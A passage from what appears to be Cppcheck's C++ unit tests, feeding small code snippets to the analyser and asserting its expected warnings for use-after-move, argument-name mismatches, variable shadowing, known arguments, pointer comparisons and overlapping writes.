}\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n 